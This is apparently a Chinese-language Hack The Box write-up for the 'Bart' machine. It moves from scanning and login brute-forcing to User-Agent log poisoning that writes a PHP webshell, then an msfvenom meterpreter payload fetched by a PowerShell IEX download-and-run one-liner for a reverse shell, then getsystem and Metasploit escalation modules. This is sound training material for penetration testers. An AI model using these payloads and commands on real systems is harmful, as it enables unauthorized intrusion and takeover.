Hack The Box - Bart

我链接了VPN,开启了目标机器,获取到了目标IP地址,并对其进行端口扫描,我曾想因为延迟会导致Nmap扫描探测服务效率变慢很多很多而去换另一款端口扫描工具,但是它们会误报,虽然确实很快,但是误报反而会导致我效率更慢,虽然Nmap也会误报,准确性却要比它们高很多很多,误报只是偶尔会产生,所以可尝试对目标1-65535进行分批测试,但我在文章中不会这么做,因为那样会显得文章排版很乱很乱:

nmap -sV -sC -Pn -p- -T4 10.10.10.81

偶尔就会像这样,我扫了全端口而Nmap只为我枚举出了80HTTP端口:

Nmap scan report for 10.10.10.81
Host is up (0.38s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
| http-methods:
|_ Potentially risky methods: TRACE
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 640.80 seconds

但是我不想再扫一遍,那样又会花费很多时间,如果我边扫边对80端口进行访问,那么Nmap扫描端口又会占用大量带宽,致使我访问80端口也不会很流畅,而且我会因为访问80端口占用掉部分带宽,还可能会影响到Nmap发包收包过程中丢包而再次产生误报。所以我决定在我一筹莫展之际,再对目标进行端口探测。不过好在当下Nmap还是告诉了我一些我可用的 信息,例如标志性的Microsoft IIS httpd 10.0,目标是windows操作系统,服务组件为IIS httpd 10.0,它的域名是forum.bart.htb,它是一个子域名,它应该拥有应该父域名为bart.htb,我需要将其添加到/etc/hosts中,首先我尝试搜寻Microsoft IIS httpd 10.0已披露的漏洞:

searchsploit IIS 10

它并没有为我提供一些有帮助的信息。所以我打开了浏览器访问了目标页面:

它的页面为我提供了很多按钮可以进行点击,但都只是跳转到当前的页面的锚点,并不会与服务器发生产生任何请求,当然我可以将标签中对应的锚点替换为我希望读取的目录文件,但它与路径爆破是一样的,而我对URL进行路径爆破会比这样不断的更改跳转方便的多。但我并不准备现在就爆破路径,我觉得做事情有条理会更容易一些。我发现了两个按钮,但是它们一样只是单纯的页面锚点跳转,并不会向服务器发送任何请求:

好的,我在浏览时发现了一些潜藏的用户名信息:

Samantha Brown、Daniel Simmons、Robert Hilton,

而每个图像又为我提供了四个按钮,然而前三个都是没什么用的,它们会跳转到当前页面对应的锚点,即使我觉得那些锚点信息与它们完全没有任何关系。

但是当我点击第四个M按钮时候它会请求我打开GoogleMail或是YahoolMail,它是一个用来给目标用户快速发邮件的按钮:

我尝试把三个肖像的M按钮都点击请求了一次,介于每个图片的请求包都一样的,我便只放了一张图用于演示在哪里提取邮箱信息:

就这样,我收集到了三个邮箱地址:

1.To:mailto:s.brown@bart.local[1]2.To:mailto:d.simmons@bart.htb[2]3.To:mailto:r.hilton@bart.htb[3]

但是我也不知道为何brown的邮箱后缀为local,请原谅我的见识目前还不够,我觉得它像是公司内部自定义的邮箱账号,而它们的邮箱前缀更像是一个用户名:

brown  simmons  hilton

紧接着我下拉滚动条又发现了一个员工,它又为我提供了一个潜藏的用户名Jane Doe,但是目标并未该员工提供任何我能点击触发的按钮,但是通过对该员工的信息介绍,我知道她是目标的开发部门,或许她会掌管有目标内部环境的配置信息,源代码,项目实施计划方案等等等等,她的账户通常会拥有Web站点更多的权限,她也就成为了我优先选择的目标:

紧接着还有三张图片信息,我可以点击图片,也可以点击图片下方的小标题,但是它们并不会向服务器发送任何请求,而且我点击它们也只是跳转到了页面顶部的锚点:

当然还有页脚信息,每个企业都喜欢这样做:

我知道了它们的公司地址,它们的联系电话,它们的邮箱地址,还有它们的CMS为:WordPress,用的主题为Sydney by aThemes。

紧接着我想查看一下开发部这位漂亮员工有无在注释中为我透露些什么信息,这些信息通常都是以注释类型存在的,而我找到了另外一名不存在当前页面的员工,可能他不喜欢受到别人的关注:

Wappadlzer又为我提供了一些详细信息,刚好对我收集到的信息得到一些补充:

接下来我尝试对目标的主域名bart.htb进行访问,但是很抱歉,我访问不到,它一直转圈,可能是由于端口未开放,目标可能真的为我只开放了一个80HTTP端口,我尝试对目标端口服务重新探测了一遍,它真的只有80端口开放:

好吧,我决定对目标子域名进行更深入的了解,我准备对其进行路径爆破,我指定了dirsearch

dirsearch -u http://forum.bart.htb/ -e php

哇哦,不可思议,它没有为我枚举到什么:

我又尝试了gobuster:

gobuster dir -u http://forum.bart.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

它一样的没有帮我枚举到什么信息:

但是gobuster为我枚举出了一个服务器错误的页面信息,我点进去发现是如下页面,它的状态码为500:

我尝试在返回包中发掘一些信息,但是什么都没有回复给我,只是像平常一样的500错误返回包,但是我访问正常的http://forum.bart.htb/它依旧是可以访问的。于是我怀疑目标存在着什么防护机制例如WAF把我的请求包拦截掉了。但是我通过返回包中的信息无法判断目标是否存在WAF。

我尝试用wafw00f帮我枚举检测,可它也并没有检测到任何信息:

wafw00f http://forum.bart.htb

我尝试了wordpress的默认配置目录,例如wp-content、wp-admin。它都返回给了我如下信息:

目前我得出了以下个结论:

1.或许它真的没有任何目录,那我就需要回头梳理一下看我遗漏了什么,或Nmap重新扫描一下,看我能否再扫出些什么。2.或许我提交的参数被防护拦截掉了,尽管我可能不知道它是什么拦截规则。3.或许是因为服务器返回的错误信息欺骗了扫描器,致使目录扫描器认为服务端出现了错误便停止了扫描。

Nmap为我重新枚举了一次目标端口服务,我重新浏览了一次目标80端口的Web页面,我并没有发现新的信息。当然不排除它漏扫误报以及我又忽略掉了某些信息的可能,但是我觉得它可以暂时排除掉了。

我又尝试在服务器500状态码返回包中的错误信息试着去查看目标有无WAF信息,同样的我没有获取到新的信息,因为各WAF防护机制响应内容是完全可以个人自定义的。即使我不甘心,但我也目前得把这项结论不能说是排除,算挂起吧。

那么该第三条结论,或许是在路径爆破扫描器检测到服务端返回500便停止了扫描。我想起了目标的主域名bart.htb。虽然它无法访问,但是我可以试着去探测爆破一下路径,它还真发现一个页面令我意外,它是个200OK的状态码:

而我试着去打开它,它页面是这样的,而同样的,返回包中也没有其他对我有用的信息,没有WAF特征信息:

同样的,扫描器也没为我探测到WAF:

我尝试对以IP为参数对其进行目录爆破,同样的,它也为我返回了200OK状态码的图片页面。至此我认为,WEB站点下边确实会存在某些目录,只是我通过扫描器提交了不存在的目录名被某种防护机制重定向到了该状态码为200OK的图片页面。因为它主域名bart.htb或是10.10.10.81返回给我的是200图片页面,而它的子域名forum.bart.htb返回给我的是一个500状态码包含服务器错误信息的页面。

所以我猜测,目标的web结构是以10.10.10.81,也就是bart.htb为根目录,当访问根目录下不存在的目录会跳转到200OK图片页面,而forum.bart.htb是它根目录下的某个目录,只是通过IIS服务将其解析到了子域名的默认根目录。那么我访问到的子域名forum.bart.htb,它的完整路径应该类似于:

http://bart.htb/forum

或是:

http://10.10.10.81/forum

当然它也可能是forum.bart,forum.bart.htb,完全无所谓,我可以都试试,为了不影响我的结论,我需要把/etc/hosts中的信息更改一下,因为我先前填的是:

10.10.10.81 forum.bart.htb

在bart.htb无法访问时我尝试去将其更改过,但是bart.htb依然无法正常访问,我始终在纠结bart.htb究竟存不存在。现在如果根据我刚刚的想法,它确实应该是存在的,我就需要将更改为:

10.10.10.81 bart.htb

那么我验证自己的想法会很简单,我只需要尝试去访问如下目录,当然它也可能是其他的目录,但是我觉得这种情况应该很少或是不会出现,因为如果一个企业这么做了,那么如果它对应的岗位负责人更换了,新人面对这样的处境将会很麻烦从而出现工作交接困难的情况,企业是不会允许这种情况的,虽然它只是个靶场,但我觉得应该也会符合情理:

http://bart.htb/forum
http://bart.htb/forum.bart
http://bart.htb/forum.bart.htb

我非常幸运,只尝试了第一个地址,它就成功的返回了我子域名forum.bart.htb的页面:

可现在有一种令我很头疼的事情,我如果在当前根目录进行爆破的话,它就会将我重定向到200OK的图片页面,而且现在看来,它或许一个目录对应一个子域名,如果是在外部的网络环境,我可以通过查询DNS解析记录IP反查域名来寻找它的旁站,可是HTB的靶场是通过它特定的VPN进行连接的,我与目标机器处于同一个内网环境中,没有DNS解析记录供我查询。那么我就只能盲猜,还是毫无根据的盲猜。

当然我是不愿意的,毫无根据的做事在我看来便是吃力不讨好,我想着能否把200状态码给过滤掉,因为200状态码便是那个图片页面,让扫描器屏蔽到所有的200状态码,但是如果我请求到正确的目录呢?这时我想到如果我通过url地址请求到正确的目录,那么解析服务组件会在我请求的目录下寻找默认的index.html或是php等默认的首页返回给我,这又何尝不算是一种重定向呢,既然重定向那它的状态码应为3xx,为了验证我的想法,我又尝试访问http://bart.htb/forum,我的猜测是错误的,但是我很高兴,因为我的猜测也对了:

它确实不是3xx的重定向状态码,但是它是206状态码,虽然我无法确定其他目录的状态是什么,但是它应该不会是200,我或许真的可以过滤掉所有的200状态码对目标路径再进行一次爆破,而且很幸运,Gobuster有这一项功能,但是不知为何我过滤失败了。

幸运的是我发现了另一款工具,Kalinux自带wfuzz,-hh参数是表示过滤掉返回信息中包含指定内容的消息,例如该环境中,如果我不使用-hh参数的话,它会返回一堆不存在的目录状态码为200:

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ

当然它们还是指向的那个错误图片页面,如果我想过滤掉返回信息为那个错误图片的页面,又不想因为200状态码过滤掉其他我不希望的文件或目录,我就可以选择如上图的630或是5628或是150693用-hh参数添加为我希望过滤掉的条件,它就会为我过滤掉符合条件的信息目录,然后把其他的条件为我显示打印出来:

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh 150693 http://bart.htb/FUZZ

它很慢很慢,因为有22万的字典参数,还有受网络延迟影响的效率,我等了有十几分钟,它为我列出了一个新的目录:

但是我并不准备挂掉它,我希望它能为我枚举到更多的信息,而且如果我这时候对目标monitor进行访问,又会慢很多很多,所以我决定再等它一会儿,然而我又等了十几分钟,它为我枚举到的还是monitor,我不得不先挂掉它,我先访问monitor试试,如果我又一筹莫展,我会考虑再请求它帮我枚举一次,于是我访问了monitor目录,确切的说它是一个子域名:

我访问到了,它是一个登录框,而它的目录名翻译中文是监测的意思,我觉得它像是一个管理型后台登录页面。而左下角显示了它的版本信息,我准备先对其进行公开漏洞搜索:

好吧,它什么也没有,于是我觉得去搜寻一下PHP Server Monitor v3.2.1,当你我希望知道某个组件的具体信息,最有用最直接最省力的便是去它的官方看帮助文档,该环境很贴心的为我准备了它官网的超链接,但我点进去发现一个有意思的事情,它的版本号为3.2.1,而我在它官网文档查看时,对了,这是它的官网链接:

https://www.phpservermonitor.org/

我一度以为是我还处于内网环境中,但我觉得不对劲,我用我没走VPN的宿主机访问了一次,该组件只发布到了3.2.0,最重要的是我的目标机器发布到HTB好久了:

似乎出现了某种超前的现象,我觉得是人为进行混淆更改的,它想混淆我的视听,但是这并不能影响我很多,从PHP Server Monitor官网可获取到很多信息:

 

我简单概括一下,该组件可用于管理服务器上运行的服务,站点项目,还有一个cronjob看起来像是计划任务,而目标操作系统是windows,windows上运行的服务通常是以高权限运行的,如果能够通过PHP Server Monitor进行管理,那PHP Server Monitor也应是具有高权限的,因为它要对系统服务进行操控。

或是它每次操作系统内部服务,系统内部会对其进行身份认证校验,好比某些工具调用其他第三方API需要在配置文件中有对应的账户口令或是key,而对应的账户一定是具有管理员级别权限的。

那么我的思路会很明确,进入该后台并查看某些与系统交互的地方,或是它的配置文件中保存的口令,当然有个前提,我需要进入。我先尝试了普通的弱口令,都回复了我信息不正确的错误 信息。我尝试使用我在forum.bart.htb收集到的用户名,可惜它都返回给了我同样的信息:

在当前页面我无法枚举用户名,当然我可以尝试注入漏洞,但是我觉得可以先到Forgot Password去看一眼,因为找回密码通常会使用邮箱信息,而我有在forum.bart.htb子域名收集到一些,比起注入显得更有优势,我点进去发现它要求我输入用户名:

而我在尝试输入用户名后,它会提示无法检测到用户名:

我猜测它像是我输入的用户名不存在的意思,所以我又尝试了其他的人的姓例如simmons 、hilton、doe、potter,当然还有它们的名,国外名在前,姓在后,samantha daniel robert jane,当然还有在注释中发现的harvey,当我使用harvey后它提示我向harvey邮箱发送了一封电子邮件,好吧,我觉得这足以让目标警觉了,幸好只是个靶场:

我准备用Burpsuite进行爆破,因为在我对目标检测时,Burpsuite抓到了一些其他东西:

我尝试把收集到的用户名进行不同的组合,添加到了弱口令字典中,也幸好我将其添加进了字典中,因为它最后跑出来的结果:

我拿到了一组可用来登录的用户名,我成功登录了进去:

harvey:potter

它的Update我点不了,help会跳转到PHP server monitor官方,而status或servers与log都是一样的页面,并没有能与目标机器系统交互的地方,不过它确实提供给我一个重要的信息:

我又获取到了一个新域名,在目标80端口上。于是我又不得不更改/etc/hosts,将以下域名记录:

internal-01.bart.htb

它又是一个登录框,而我刚刚获取到的密码在这里是不起作用的。我先对其进行了简单的SQL注入验证,它并没有反馈给我更多的信息,如出一辙的:

我尝试查看源代码,它的注释中同样也没有什么信息,但是在我审查元素时候,我发现了一个有意思的事情:

当前页面为login_form.php,也就是登录表单,它提交到后端的代码文件为login.php,好像它将数据参数提交到了另一个脚本文件中,我尝试直接对login.php进行访问,当然这是妄想,我访问不到,它会把我重定向回来。

我尝试对它根目录进行访问,但是它还会将我重定向回该登录页面,于是我准备对目标根目录进行路径爆破:

它帮我发现了一个log.txt,我尝试对其进行访问:

我不知道它是什么,但是我觉得我可以去试试登录认证:

Gecko/20100101

好吧它不是:

我尝试对dirsearch为我枚举到的目录都访问一遍,但是它都返回给了我这样的错误信息:

于是我又尝试对目标当前登录页面进行了目录爆破:

我枚举到了一个register_form.php,它看起来像是一个注册页面,但是我无法访问它,一样的,我尝试根据刚才的发现访问register.php,它也是一直在加载中:

Dirsearch倒是提醒了我,我在以Get方式发送请求爆破路径,或许我可以试试用Post。

dirsearch -m post -u http://internal-01.bart.htb/simple_chat/

可惜结果是一样的:

或许我应该用POST方式去请求页面试一试,我选择用Burpsuite,我以POST进行访问,即使我什么参数都没提交它也应该返回给我个请输入参数或是参数为空的错误提示信息,然而目标什么都没有回我:

或许是我需要添加个来源访问,通常注册按钮都在登录页面,可能它会校验来源例如Referer字段,可它还是没有理我:

又或许是GET请求添加来源?可惜我还是失败了。在我准备拼运气爆破抓包的时候,我产生一个念头,或许我可以将login_from.php的数据包拦截抓取将其重定向提交到register_from.php或是register.php,那么我会不会不需要爆破正确的用户,而变成注册了一个合法的用户。我尝试将login.php替换为register.php:

它竟然回应我了,它返回了302重定向,我想我添加的账号或许成功了。在我放完包关闭拦截请求的那一刻,页面跳转到了聊天软件页面,我成功了,我登录进去了:

我高兴的试着跟它们聊天,然而它们不理我,也幸好没理,理了说不定会做噩梦:

当前页面一个有一个刷新按钮,没什么用,一个Logout退出,不可能的,我好不容易才进来。那就只剩一个log按钮了,我尝试点击它,它回应了我一个弹窗:

哦,是两个弹窗:

然而源代码中它并没有什么信息:

我尝试拦截数据包,并提交了一份,它返回给我的信息是这样的:

我不能改变参数,只要我在参数中添加或删除任何字符,服务器都会响应给我一个错误信息:

我觉得它像是一个我多目标服务器发起了某些请求,而它返回给我一个弹窗例如成功 or 失败,我觉得它像是一个保存聊天记录的功能,但是它并不是保存在我本地,因为我本地并没有收到类似于下载或是另存为的请求弹窗,我觉得它是记录在目标机器中,如果它记录在目标机器中,那么它就需要调用类似于open()打开某个文件并写入write()等功能,对了,我前边是爆破出它的日志记录的/log/log.txt,但是我再去访问时,它的信息还是这样:

而它的记录是浏览器头,或许是浏览器头有什么我们可用的地方?但是当我又点击聊天页面的log按钮时,Burpsuite为我拦截到了这个数据包:

我当前用户不是harvey,但它提交的username参数值为harvey,我尝试更改为我当前用户worldisend,它第二个弹窗变成了0:

在该过程中还会有一个奇怪的数据包:

哦,是我请求太快了,不好意思。我尝试直接访问log/log.php,说不定它解析错误我可以直接读到它的php代码,当然我是在妄想:

我好像获取到了目标的绝对路径,但是我再去访问log.txt,它还是什么都没有:

或许我不应该替换harvery,而是把浏览器头给替换一下,我尝试更改浏览器头:

我还是失败了。它还是那样,或许我可以更改一下文件名?

它好像是成功了,并且第二个弹窗中的值为1:

看起来它会接收用户数据包中的参数,例如用户以及浏览器请求头然后将其写入到filename指定的文件中去,不如我再试一次:

它返回了0:

很抱歉,不行:

梳理一下思路,首先文件名我是更改过的为hello.txt的,它貌似是可以正常访问,当然不排除目标可能有这个文件只是我路径爆破没爆破出来。那问题应该出现在用户名或是浏览器头上。而且貌似需要它的第二个弹窗为1,0表示失败,1代表成功。我尝试只更改用户名与文件名:

它返回了0,而我访问不到文件:

它的用户名好像是写死的,只能使用harvey,我尝试更改文件名与浏览器头:

它返回了1:

我成功了:

看来该系统会记录用户的浏览器头,并以日志的形式存储到某个文件,并且他有以下特征:

1.文件名是我可以拦截数据包控制的。2.用户名无法更改,必须是harvey。3.它记录的是用户的浏览器请求头字段。

或许我可以尝试将txt文件后缀改为PHP:

哦它返回了1,我试着去访问我写入的phpinfo,YES!:

我获取很多很多目标的信息:

目标系统为windows10、32位系统、并且它没有对PHP敏感函数做任何限制,意味着我可以使用命令函数实现远程RCE:

构造payload数据包:

我成功了:

我可以本地Metasploit生成powershell载荷:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.5 LPORT=1121 -f psh-reflection >/home/worldisend/x.ps1

然后启动一个http服务:

python3 -m http.server 80

Matesploit启动对应的监听模块,然后将以下命令复制到webshell页面进行cmd参数提交,当然我试过直接将以下命令写入到payload数据包中的浏览器头字段中的中,但它因为某种不知名原因失败了,所以还是老老实实一步一步走吧,别老是想着走捷径:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.16.5:80/x.ps1'))"

如果执行成功会像我下图右边,会有目标GET请求下载x.ps1的200状态码提示信息,我成功获取到了Meterpreter会话:

然后发生了点意外,我手快运行getsystem直接获取到目标系统权限级别的Meterpreter:

一般是不成功的,我只是习惯性的试一下,没想到它会如此轻松。当然,windows的提权方式有很多很多,而Metasploit为我也提供了很多很多模块,方便在日常安全人员对错误配置进行排查筛选。例如以下模块:

post/windows/gather/enum_patches                #扫描系统溢出漏洞补丁:
exploit/windows/local/service_permissions #基于低权限用户对系统服务有写入权限对其篡改提权:
exploit/windows/local/always_install_elevated #允许低权限用户以System权限运行安装文件
exploit/windows/local/trusted_service_path #检测是否有包含空格路径的服务
post/windows/gather/enum_patches #搜寻文件有无管理员账户密码:
post/windows/gather/enum_unattend
post/windows/gather/credentials/gpp #组策略首选项提权

root.txt标志在这里:

user.txt在这里:


请使用浏览器的分享功能分享到微信等